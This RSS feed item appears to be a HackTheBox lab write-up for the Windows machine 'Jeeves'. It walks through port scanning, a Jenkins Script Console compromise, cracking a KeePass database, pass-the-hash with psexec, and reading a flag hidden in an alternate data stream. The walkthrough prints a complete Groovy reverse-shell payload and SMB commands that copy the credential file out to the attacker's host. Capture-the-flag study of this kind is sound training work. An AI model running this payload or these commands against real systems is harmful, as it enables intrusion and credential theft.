<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Psexec on</title><link>https://h4r1337.github.io/tags/psexec/</link><description>Recent content in Psexec on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Tue, 02 Jun 2026 15:23:34 +0530</lastBuildDate><atom:link href="https://h4r1337.github.io/tags/psexec/index.xml" rel="self" type="application/rss+xml"/><item><title>Jeeves | HackTheBox</title><link>https://h4r1337.github.io/posts/jeeves/</link><pubDate>Tue, 02 Jun 2026 15:23:34 +0530</pubDate><guid>https://h4r1337.github.io/posts/jeeves/</guid><description>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Jeeves">Jeeves&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Medium&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Windows&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Maker&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/2984">&lt;img src="https://www.hackthebox.com/badge/image/1253217" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Jeeves
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Jeeves is not overly complicated, however it focuses on some interesting techniques and provides a great learning experience. As the use of alternate data streams is not very common, some users may have a hard time locating the correct escalation path.&lt;/p>
&lt;/div>
&lt;/div>
&lt;script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
&lt;/script>
&lt;hr>
&lt;h2 id="information-gathering">Information Gathering&lt;/h2>
&lt;p>Scanned all TCP ports:&lt;/p></description><content>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Jeeves">Jeeves&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Medium&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Windows&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Maker&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/2984">&lt;img src="https://www.hackthebox.com/badge/image/1253217" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Jeeves
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Jeeves is not overly complicated, however it focuses on some interesting techniques and provides a great learning experience. As the use of alternate data streams is not very common, some users may have a hard time locating the correct escalation path.&lt;/p>
&lt;/div>
&lt;/div>
&lt;script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
&lt;/script>
&lt;hr>
&lt;h2 id="information-gathering">Information Gathering&lt;/h2>
&lt;p>Scanned all TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nmap -p- --min-rate &lt;span style="color:#d3869b">10000&lt;/span> -vv $IP -oA recon/nmap/ports
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.228.112
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up, received echo-reply ttl &lt;span style="color:#d3869b">127&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>0.20s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Scanned at 2026-05-29 19:08:48 IST &lt;span style="color:#fe8019">for&lt;/span> 14s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Not shown: &lt;span style="color:#d3869b">65531&lt;/span> filtered tcp ports &lt;span style="color:#fe8019">(&lt;/span>no-response&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>135/tcp open msrpc syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>445/tcp open microsoft-ds syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>50000/tcp open ibm-db2 syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Enumerated open TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -p80,135,445,50000 -sC -sV --min-rate &lt;span style="color:#d3869b">10000&lt;/span> -vv -oA recon/nmap/service $IP
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.228.112
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up, received syn-ack &lt;span style="color:#fe8019">(&lt;/span>0.16s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Scanned at 2026-05-29 19:10:58 IST &lt;span style="color:#fe8019">for&lt;/span> 49s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON VERSION
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http syn-ack Microsoft IIS httpd 10.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: Microsoft-IIS/10.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| http-methods:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Supported Methods: OPTIONS TRACE GET HEAD POST
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Potentially risky methods: TRACE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Ask Jeeves
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>135/tcp open msrpc syn-ack Microsoft Windows RPC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>445/tcp open microsoft-ds syn-ack Microsoft Windows &lt;span style="color:#d3869b">7&lt;/span> - &lt;span style="color:#d3869b">10&lt;/span> microsoft-ds &lt;span style="color:#fe8019">(&lt;/span>workgroup: WORKGROUP&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>50000/tcp open http syn-ack Jetty 9.4.z-SNAPSHOT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: Jetty&lt;span style="color:#fe8019">(&lt;/span>9.4.z-SNAPSHOT&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Error &lt;span style="color:#d3869b">404&lt;/span> Not Found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host script results:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| smb2-security-mode:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| 3.1.1:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Message signing enabled but not required
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_clock-skew: mean: 5h02m56s, deviation: 0s, median: 5h02m55s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| p2p-conficker:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Checking &lt;span style="color:#fe8019">for&lt;/span> Conficker.C or higher...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">1&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 58009/tcp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">2&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 44360/tcp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">3&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 39602/udp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">4&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 26708/udp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| smb-security-mode:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| authentication_level: user
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| challenge_response: supported
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ message_signing: disabled &lt;span style="color:#fe8019">(&lt;/span>dangerous, but default&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| smb2-time:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| date: 2026-05-29T18:44:03
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ start_date: 2026-05-29T18:40:11
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="enumeration">Enumeration&lt;/h2>
&lt;h3 id="port-80---http-iis100">Port 80 - HTTP (IIS/10.0)&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529191204.webp">&lt;/figure>
&lt;h3 id="port-50000---http-jetty-94">Port 50000 - HTTP (Jetty 9.4)&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529191434.webp">&lt;/figure>
&lt;p>Fuzzing on this server showed the path &lt;code>/askjeeves&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>feroxbuster -u http://10.129.228.112:50000/ --no-recursion -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529193558.webp">&lt;/figure>
&lt;p>It&amp;rsquo;s hosting a Jenkins server.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529193719.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="exploitation">Exploitation&lt;/h2>
&lt;h3 id="jenkins-script-console-rce">Jenkins Script Console RCE&lt;/h3>
&lt;p>In jenkins we can execute groovy script on the host machine using the Script Console feature.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529194552.webp">&lt;/figure>
&lt;p>This is the reverse shell I used&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-groovy" data-lang="groovy">&lt;span style="display:flex;">&lt;span>String host&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;IP&amp;#34;&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span> port&lt;span style="color:#fe8019">=&lt;/span>port&lt;span style="color:#fe8019">;&lt;/span>String cmd&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cmd.exe&amp;#34;&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>Process p&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">new&lt;/span> ProcessBuilder&lt;span style="color:#fe8019">(&lt;/span>cmd&lt;span style="color:#fe8019">).&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">redirectErrorStream&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">true&lt;/span>&lt;span style="color:#fe8019">).&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">start&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>Socket s&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">new&lt;/span> Socket&lt;span style="color:#fe8019">(&lt;/span>host&lt;span style="color:#fe8019">,&lt;/span>port&lt;span style="color:#fe8019">);&lt;/span>InputStream pi&lt;span style="color:#fe8019">=&lt;/span>p&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getInputStream&lt;/span>&lt;span style="color:#fe8019">(),&lt;/span>pe&lt;span style="color:#fe8019">=&lt;/span>p&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getErrorStream&lt;/span>&lt;span style="color:#fe8019">(),&lt;/span> si&lt;span style="color:#fe8019">=&lt;/span>s&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getInputStream&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>OutputStream po&lt;span style="color:#fe8019">=&lt;/span>p&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getOutputStream&lt;/span>&lt;span style="color:#fe8019">(),&lt;/span>so&lt;span style="color:#fe8019">=&lt;/span>s&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getOutputStream&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>&lt;span style="color:#fe8019">while&lt;/span>&lt;span style="color:#fe8019">(!&lt;/span>s&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">isClosed&lt;/span>&lt;span style="color:#fe8019">()){&lt;/span>&lt;span style="color:#fe8019">while&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>pi&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">available&lt;/span>&lt;span style="color:#fe8019">()&amp;gt;&lt;/span>&lt;span style="color:#d3869b">0&lt;/span>&lt;span style="color:#fe8019">)&lt;/span>so&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">write&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>pi&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">read&lt;/span>&lt;span style="color:#fe8019">());&lt;/span>&lt;span style="color:#fe8019">while&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>pe&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">available&lt;/span>&lt;span style="color:#fe8019">()&amp;gt;&lt;/span>&lt;span style="color:#d3869b">0&lt;/span>&lt;span style="color:#fe8019">)&lt;/span>so&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">write&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>pe&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">read&lt;/span>&lt;span style="color:#fe8019">());&lt;/span>&lt;span style="color:#fe8019">while&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>si&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">available&lt;/span>&lt;span style="color:#fe8019">()&amp;gt;&lt;/span>&lt;span style="color:#d3869b">0&lt;/span>&lt;span style="color:#fe8019">)&lt;/span>po&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">write&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>si&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">read&lt;/span>&lt;span style="color:#fe8019">());&lt;/span>so&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">flush&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>po&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">flush&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>Thread&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">sleep&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#d3869b">50&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>&lt;span style="color:#fe8019">try&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>p&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">exitValue&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>&lt;span style="color:#fe8019">break&lt;/span>&lt;span style="color:#fe8019">;}&lt;/span>&lt;span style="color:#fe8019">catch&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>Exception e&lt;span style="color:#fe8019">){}};&lt;/span>p&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">destroy&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>s&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">close&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Start a netcat listener and run this script to get shell access:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529194804.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;h3 id="local-enumeration">Local Enumeration&lt;/h3>
&lt;p>There&amp;rsquo;s a keepass database located in the user&amp;rsquo;s Documents directory.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529200621.webp">&lt;/figure>
&lt;p>For file transfer we have to setup an smb server since there are no executables like &lt;code>certutils&lt;/code>, &lt;code>wget&lt;/code>, &lt;code>curl&lt;/code>, &lt;code>nc&lt;/code>, etc. available in the machine.&lt;/p>
&lt;p>We can use impacket&amp;rsquo;s &lt;code>smbserver.py&lt;/code> script for this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>sudo smbserver.py share . -ip 10.10.14.63
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then from inside the box, mount the share to a drive and just copy the file to the drive:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-cmd" data-lang="cmd">&lt;span style="display:flex;">&lt;span>net use s: \\10.10.14.63\share
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">copy&lt;/span> CEH.kdbx s:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529201302.webp">&lt;/figure>
&lt;p>Now it&amp;rsquo;s in our machine.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260529201557.webp">&lt;/figure>
&lt;p>Conver kdbx to hash using &lt;code>keepass2john&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>keepass2john CEH.kdbx &amp;gt; kdbxhash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now let&amp;rsquo;s find the password:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602124913.webp">&lt;/figure>
&lt;p>We are able to open the database using the password:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602125203.webp">&lt;/figure>
&lt;p>NTLM hash of a user is stored in Backup stuff&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602125829.webp">&lt;/figure>
&lt;p>There was also a cleartext password of administrator:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602125916.webp">&lt;/figure>
&lt;p>But this was not working:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602125945.webp">&lt;/figure>
&lt;p>There are only two users in this machine:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602130232.webp">&lt;/figure>
&lt;p>So let&amp;rsquo;s try to use the hash with Administrator:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602130326.webp">&lt;/figure>
&lt;p>And it worked.&lt;/p>
&lt;h3 id="privilege-escalation-as-administrator">Privilege Escalation as Administrator&lt;/h3>
&lt;p>We can use &lt;code>psexec.py&lt;/code> to get shell access as admin using the hash alone.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602131926.webp">&lt;/figure>
&lt;p>In &lt;code>Desktop&lt;/code> there&amp;rsquo;s an &lt;code>hm.txt&lt;/code> file:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602132121.webp">&lt;/figure>
&lt;p>Which just shows&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602132142.webp">&lt;/figure>
&lt;h3 id="alternate-data-stream-ads">Alternate Data Stream (ADS)&lt;/h3>
&lt;p>In NTFS file systems there&amp;rsquo;s something called an Alternate Data Stream. This feature let a file carry multiple named hidden streams of data. By default these additional data streams are not listed in explorer. We can list this using the &lt;code>/r&lt;/code> flag in the &lt;code>dir&lt;/code> command.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602134031.webp">&lt;/figure>
&lt;p>There are multiple ways to read the actual &lt;code>root.txt&lt;/code> file. We can powershell&amp;rsquo;s &lt;code>Get-Content&lt;/code> function to specify the stream we want to read:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>powershell &lt;span style="color:#fabd2f">Get-Content&lt;/span> -path hm.txt -Stream root.txt -Raw
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/jeeves/Pasted%20image%2020260602134249.webp">&lt;/figure></content></item></channel></rss>